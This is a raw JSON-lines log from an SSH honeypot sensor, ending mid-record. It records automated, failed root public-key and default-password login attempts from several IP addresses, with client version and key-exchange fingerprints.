{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:e3:bf:38:63:9f:a4:52:cb:44:bc:dd:fa:8a:b9:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClKTKxIDuyLSbrT58wOrFTr+6kXoHQXxNwG6vb4krmXE0EDVDtEhSg4GUW7Y/oU+IkqBI4bxO7YaP5vskolb6kKK0V4GLLgeP8jLXVKNk+afQoRMPQUUeeK7LOCw9KJCwRVUljmHE1J7EUssSZmF4swoMxNZhJqDOK6uz8JM4qPmY4aaSYlhcoZuVVnfLiN/utPXiIQKChSYWh7tfSOzUyvZRIi7bUBYwqpOSvgeUR/dCmaqZ3vY/cH7C84vKncxRrXovUcwtonHCHLgtqfBy/iTLX1QARz/xDYPsFEg/2gValFpbjtNUkQ41poyrhi/LMj6Qh3paT2yY9Lc1eJhqV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:37.730648Z","src_ip":"101.53.148.190","session":"0fda97e49119","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:0f:b5:de:f0:0e:8f:27:e5:b5:b4:d1:60:0a:32:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFJTRCBEep6NDIDh/kGrb4YQBWJTLM8BfEGW75J9uIxyh5wem3fD4CN4xrWl+mquai6WL4ljb3iIiL77c0U3AEFgofbDOOUOL4rrAgrvrrSxIL0dWNdO5dxThvu1Udac5yWNmuHVzsCAS9GdiXJI8h9jUiYovTJ7lh3w28XUub6bTubSmIvZ1UgHRE5pJJ2/AlwoKUDclgEW6I7hYTHw87nDtAzSfMDoGdKhJ/TlmKFy3apRDuDxI+43/pRahoYnIithMtbqg6waWgxvUGUQ8wg9Sb8Ei7fq8U2IEG9Vvby1D2gNIgq1MdnvR+dlb3b5x2RGtUKI+nzGVe69wX3ntZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:0f:b5:de:f0:0e:8f:27:e5:b5:b4:d1:60:0a:32:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:37.951749Z","src_ip":"101.53.148.190","session":"0fda97e49119","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:0f:b5:de:f0:0e:8f:27:e5:b5:b4:d1:60:0a:32:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFJTRCBEep6NDIDh/kGrb4YQBWJTLM8BfEGW75J9uIxyh5wem3fD4CN4xrWl+mquai6WL4ljb3iIiL77c0U3AEFgofbDOOUOL4rrAgrvrrSxIL0dWNdO5dxThvu1Udac5yWNmuHVzsCAS9GdiXJI8h9jUiYovTJ7lh3w28XUub6bTubSmIvZ1UgHRE5pJJ2/AlwoKUDclgEW6I7hYTHw87nDtAzSfMDoGdKhJ/TlmKFy3apRDuDxI+43/pRahoYnIithMtbqg6waWgxvUGUQ8wg9Sb8Ei7fq8U2IEG9Vvby1D2gNIgq1MdnvR+dlb3b5x2RGtUKI+nzGVe69wX3ntZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:37.955161Z","src_ip":"101.53.148.190","session":"0fda97e49119","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:82:a0:ae:65:47:cb:2d:63:a4:27:d1:73:97:de:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDC0wHgsjGB7zyfJXQbxuH582isjRs2Nx414ZOkjtx13mL/qc80a7W9yTncGS18L2PCMgow4teo95zbl/K4rZ/nXOPLh5eX34HSVXcMuNUdkcxZVxzfYLYPJXRHnFzcV3aHkJlvTW4GbxPKKIG32TftNBptePDeLG0aWYFcOa1P5uT6BC7shFmX9JM0Z1McEgtC/JuAh41r40M/L+MvxMq/G2vy+FJoS/0Br1lWpRju5Mw6Ddb3W3c7gX2Aaiak5Zm5PXKOO9GTN6jrFn0UxDwB/dHpdHvTdo+Ni1E6yV5R3raUMVvDpOLjpbZnUNrGQZsCEp/cdwp/MzD/3+pdWNSZflLKCK+PaEZ6cPw51pNcIiea0Z0r5wrb6AwUWRkWTaYHhoypoitlJyN3TlE0K6G7UHk/dADY7Lm4ZxlpTvxVPUvUEyWHnfBUI6xJHFcbtQb8P+8JvoIynvzNQJ3o550k1SO2SmMnxl/J307pYCLzVIcLN4ocUynsCXDE36l+qPEH8jD3DqtBkQFoTAosUj9eAbru3uVP7tIBrQqA1969t1a0XyN0aQY4kSgqxAkV6T/wmWQKt6lRHlRX5WVbo+VhxZ8b1fRgr1CcmYsprVrcDgPzh0IHuA056Ow9G/esmGJa1Y+KCJJVKkokHlQTyrzl932lCWGMiWr2Xtc41S1SRQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:82:a0:ae:65:47:cb:2d:63:a4:27:d1:73:97:de:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:38.176753Z","src_ip":"101.53.148.190","session":"0fda97e49119","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:82:a0:ae:65:47:cb:2d:63:a4:27:d1:73:97:de:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDC0wHgsjGB7zyfJXQbxuH582isjRs2Nx414ZOkjtx13mL/qc80a7W9yTncGS18L2PCMgow4teo95zbl/K4rZ/nXOPLh5eX34HSVXcMuNUdkcxZVxzfYLYPJXRHnFzcV3aHkJlvTW4GbxPKKIG32TftNBptePDeLG0aWYFcOa1P5uT6BC7shFmX9JM0Z1McEgtC/JuAh41r40M/L+MvxMq/G2vy+FJoS/0Br1lWpRju5Mw6Ddb3W3c7gX2Aaiak5Zm5PXKOO9GTN6jrFn0UxDwB/dHpdHvTdo+Ni1E6yV5R3raUMVvDpOLjpbZnUNrGQZsCEp/cdwp/MzD/3+pdWNSZflLKCK+PaEZ6cPw51pNcIiea0Z0r5wrb6AwUWRkWTaYHhoypoitlJyN3TlE0K6G7UHk/dADY7Lm4ZxlpTvxVPUvUEyWHnfBUI6xJHFcbtQb8P+8JvoIynvzNQJ3o550k1SO2SmMnxl/J307pYCLzVIcLN4ocUynsCXDE36l+qPEH8jD3DqtBkQFoTAosUj9eAbru3uVP7tIBrQqA1969t1a0XyN0aQY4kSgqxAkV6T/wmWQKt6lRHlRX5WVbo+VhxZ8b1fRgr1CcmYsprVrcDgPzh0IHuA056Ow9G/esmGJa1Y+KCJJVKkokHlQTyrzl932lCWGMiWr2Xtc41S1SRQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:38.180354Z","src_ip":"101.53.148.190","session":"0fda97e49119","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:d4:be:3f:33:0c:b0:2e:1f:51:cc:03:68:1d:e8:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCgjanh+7TCrMUJ4XHMqvIRPna1rZpSVgv+LnKWHXyJUBHMWi5IPP2hbk6Nmn6Wm7H1xeeglvsF2g9mfRnxtTlTfDbw36mcWwbKvcxJIi0QRJZPXsXUoFqgqexwrJe2hVlzzxMtwjexlRIjLKeMnB4SOWMbxOSOq20jOmqdFRHQIy4uV36O+grR4y5BhEfeIAqk4kMKkYoPr7I55i6JYZ0p3UfpylEAoFAxnXbMtRuTTj0zp7Ct06XQrDW1JHNnmwvBWztdP85bBIXgw3NrdgHccChzXiaxq/9ZUEmD8w/aRUpRjzHpdsVmOWEdF2fn1VGeoWzWJwAhVbaDroKZy+x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:d4:be:3f:33:0c:b0:2e:1f:51:cc:03:68:1d:e8:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:38.402721Z","src_ip":"101.53.148.190","session":"0fda97e49119","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:d4:be:3f:33:0c:b0:2e:1f:51:cc:03:68:1d:e8:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCgjanh+7TCrMUJ4XHMqvIRPna1rZpSVgv+LnKWHXyJUBHMWi5IPP2hbk6Nmn6Wm7H1xeeglvsF2g9mfRnxtTlTfDbw36mcWwbKvcxJIi0QRJZPXsXUoFqgqexwrJe2hVlzzxMtwjexlRIjLKeMnB4SOWMbxOSOq20jOmqdFRHQIy4uV36O+grR4y5BhEfeIAqk4kMKkYoPr7I55i6JYZ0p3UfpylEAoFAxnXbMtRuTTj0zp7Ct06XQrDW1JHNnmwvBWztdP85bBIXgw3NrdgHccChzXiaxq/9ZUEmD8w/aRUpRjzHpdsVmOWEdF2fn1VGeoWzWJwAhVbaDroKZy+x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:38.406232Z","src_ip":"101.53.148.190","session":"0fda97e49119","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:e0:ae:84:31:32:8f:2d:97:cd:43:9d:f9:18:5c:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfBCyz1BB0eQ8CbOu6leHjRawCtoSGaG8BHlqm1TbFmOfypwZnCF2YP7agoz1jPcR8PnQxFAOfNRLQuDae9mIgvKjG37zOTCJmCaAwblWq7bmMooSOf75nQD0V/sM98jq9CTeuT+m8L2uZt6ZwzPwOQ6v9gbXr8GRIHF2ym4fUtztGONy9XkMu0+cKZZjwLTN4WRWw+VXt7T+RkP6sfVcJspzaN/AOxohAEospsflwUfnrV4Ffe+UC+GhAv/UcE2GUs+KWuj7bmBrGwHduzm8+kHjv2vwTpIvbSYId8k3kUR+RShLW8x03UYoxcE5rlxoSFFuRKjkWAEPTWPkPidv5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:e0:ae:84:31:32:8f:2d:97:cd:43:9d:f9:18:5c:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:38.628887Z","src_ip":"101.53.148.190","session":"0fda97e49119","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:e0:ae:84:31:32:8f:2d:97:cd:43:9d:f9:18:5c:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfBCyz1BB0eQ8CbOu6leHjRawCtoSGaG8BHlqm1TbFmOfypwZnCF2YP7agoz1jPcR8PnQxFAOfNRLQuDae9mIgvKjG37zOTCJmCaAwblWq7bmMooSOf75nQD0V/sM98jq9CTeuT+m8L2uZt6ZwzPwOQ6v9gbXr8GRIHF2ym4fUtztGONy9XkMu0+cKZZjwLTN4WRWw+VXt7T+RkP6sfVcJspzaN/AOxohAEospsflwUfnrV4Ffe+UC+GhAv/UcE2GUs+KWuj7bmBrGwHduzm8+kHjv2vwTpIvbSYId8k3kUR+RShLW8x03UYoxcE5rlxoSFFuRKjkWAEPTWPkPidv5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:38.634269Z","src_ip":"101.53.148.190","session":"0fda97e49119","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:38.856224Z","src_ip":"101.53.148.190","session":"0fda97e49119","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":48394,"dst_ip":"159.203.135.109","dst_port":22,"session":"468d9de6f5e6","protocol":"ssh","message":"New connection: 152.53.22.186:48394 (159.203.135.109:22) [session: 468d9de6f5e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:40.706219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:40.710478Z","src_ip":"152.53.22.186","session":"468d9de6f5e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:40.800806Z","src_ip":"152.53.22.186","session":"468d9de6f5e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"admin","message":"login attempt [develop/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:41.194927Z","src_ip":"152.53.22.186","session":"468d9de6f5e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:42.287352Z","src_ip":"152.53.22.186","session":"468d9de6f5e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.549094915390015,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:42.323901Z","src_ip":"212.55.149.117","session":"79301bcdd34a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":60664,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd5ca0c4c697","protocol":"ssh","message":"New connection: 152.53.22.186:60664 (159.203.135.109:22) [session: cd5ca0c4c697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:29.238399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:29.242008Z","src_ip":"152.53.22.186","session":"cd5ca0c4c697","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:29.327381Z","src_ip":"152.53.22.186","session":"cd5ca0c4c697","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"relay","message":"login attempt [admin/relay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:29.702481Z","src_ip":"152.53.22.186","session":"cd5ca0c4c697","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:30.792115Z","src_ip":"152.53.22.186","session":"cd5ca0c4c697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.90.232.71","src_port":56940,"dst_ip":"10.17.0.5","dst_port":22,"session":"afc347f2a46f","protocol":"ssh","message":"New connection: 209.90.232.71:56940 (10.17.0.5:22) [session: afc347f2a46f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:33.458602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:33.463732Z","src_ip":"209.90.232.71","session":"afc347f2a46f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:33.559534Z","src_ip":"209.90.232.71","session":"afc347f2a46f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:e3:bf:38:63:9f:a4:52:cb:44:bc:dd:fa:8a:b9:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClKTKxIDuyLSbrT58wOrFTr+6kXoHQXxNwG6vb4krmXE0EDVDtEhSg4GUW7Y/oU+IkqBI4bxO7YaP5vskolb6kKK0V4GLLgeP8jLXVKNk+afQoRMPQUUeeK7LOCw9KJCwRVUljmHE1J7EUssSZmF4swoMxNZhJqDOK6uz8JM4qPmY4aaSYlhcoZuVVnfLiN/utPXiIQKChSYWh7tfSOzUyvZRIi7bUBYwqpOSvgeUR/dCmaqZ3vY/cH7C84vKncxRrXovUcwtonHCHLgtqfBy/iTLX1QARz/xDYPsFEg/2gValFpbjtNUkQ41poyrhi/LMj6Qh3paT2yY9Lc1eJhqV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:e3:bf:38:63:9f:a4:52:cb:44:bc:dd:fa:8a:b9:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:34.026950Z","src_ip":"209.90.232.71","session":"afc347f2a46f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:e3:bf:38:63:9f:a4:52:cb:44:bc:dd:fa:8a:b9:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClKTKxIDuyLSbrT58wOrFTr+6kXoHQXxNwG6vb4krmXE0EDVDtEhSg4GUW7Y/oU+IkqBI4bxO7YaP5vskolb6kKK0V4GLLgeP8jLXVKNk+afQoRMPQUUeeK7LOCw9KJCwRVUljmHE1J7EUssSZmF4swoMxNZhJqDOK6uz8JM4qPmY4aaSYlhcoZuVVnfLiN/utPXiIQKChSYWh7tfSOzUyvZRIi7bUBYwqpOSvgeUR/dCmaqZ3vY/cH7C84vKncxRrXovUcwtonHCHLgtqfBy/iTLX1QARz/xDYPsFEg/2gValFpbjtNUkQ41poyrhi/LMj6Qh3paT2yY9Lc1eJhqV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:34.030059Z","src_ip":"209.90.232.71","session":"afc347f2a46f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:0f:b5:de:f0:0e:8f:27:e5:b5:b4:d1:60:0a:32:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFJTRCBEep6NDIDh/kGrb4YQBWJTLM8BfEGW75J9uIxyh5wem3fD4CN4xrWl+mquai6WL4ljb3iIiL77c0U3AEFgofbDOOUOL4rrAgrvrrSxIL0dWNdO5dxThvu1Udac5yWNmuHVzsCAS9GdiXJI8h9jUiYovTJ7lh3w28XUub6bTubSmIvZ1UgHRE5pJJ2/AlwoKUDclgEW6I7hYTHw87nDtAzSfMDoGdKhJ/TlmKFy3apRDuDxI+43/pRahoYnIithMtbqg6waWgxvUGUQ8wg9Sb8Ei7fq8U2IEG9Vvby1D2gNIgq1MdnvR+dlb3b5x2RGtUKI+nzGVe69wX3ntZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:0f:b5:de:f0:0e:8f:27:e5:b5:b4:d1:60:0a:32:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:34.124918Z","src_ip":"209.90.232.71","session":"afc347f2a46f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:0f:b5:de:f0:0e:8f:27:e5:b5:b4:d1:60:0a:32:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFJTRCBEep6NDIDh/kGrb4YQBWJTLM8BfEGW75J9uIxyh5wem3fD4CN4xrWl+mquai6WL4ljb3iIiL77c0U3AEFgofbDOOUOL4rrAgrvrrSxIL0dWNdO5dxThvu1Udac5yWNmuHVzsCAS9GdiXJI8h9jUiYovTJ7lh3w28XUub6bTubSmIvZ1UgHRE5pJJ2/AlwoKUDclgEW6I7hYTHw87nDtAzSfMDoGdKhJ/TlmKFy3apRDuDxI+43/pRahoYnIithMtbqg6waWgxvUGUQ8wg9Sb8Ei7fq8U2IEG9Vvby1D2gNIgq1MdnvR+dlb3b5x2RGtUKI+nzGVe69wX3ntZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:34.128334Z","src_ip":"209.90.232.71","session":"afc347f2a46f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:82:a0:ae:65:47:cb:2d:63:a4:27:d1:73:97:de:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDC0wHgsjGB7zyfJXQbxuH582isjRs2Nx414ZOkjtx13mL/qc80a7W9yTncGS18L2PCMgow4teo95zbl/K4rZ/nXOPLh5eX34HSVXcMuNUdkcxZVxzfYLYPJXRHnFzcV3aHkJlvTW4GbxPKKIG32TftNBptePDeLG0aWYFcOa1P5uT6BC7shFmX9JM0Z1McEgtC/JuAh41r40M/L+MvxMq/G2vy+FJoS/0Br1lWpRju5Mw6Ddb3W3c7gX2Aaiak5Zm5PXKOO9GTN6jrFn0UxDwB/dHpdHvTdo+Ni1E6yV5R3raUMVvDpOLjpbZnUNrGQZsCEp/cdwp/MzD/3+pdWNSZflLKCK+PaEZ6cPw51pNcIiea0Z0r5wrb6AwUWRkWTaYHhoypoitlJyN3TlE0K6G7UHk/dADY7Lm4ZxlpTvxVPUvUEyWHnfBUI6xJHFcbtQb8P+8JvoIynvzNQJ3o550k1SO2SmMnxl/J307pYCLzVIcLN4ocUynsCXDE36l+qPEH8jD3DqtBkQFoTAosUj9eAbru3uVP7tIBrQqA1969t1a0XyN0aQY4kSgqxAkV6T/wmWQKt6lRHlRX5WVbo+VhxZ8b1fRgr1CcmYsprVrcDgPzh0IHuA056Ow9G/esmGJa1Y+KCJJVKkokHlQTyrzl932lCWGMiWr2Xtc41S1SRQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 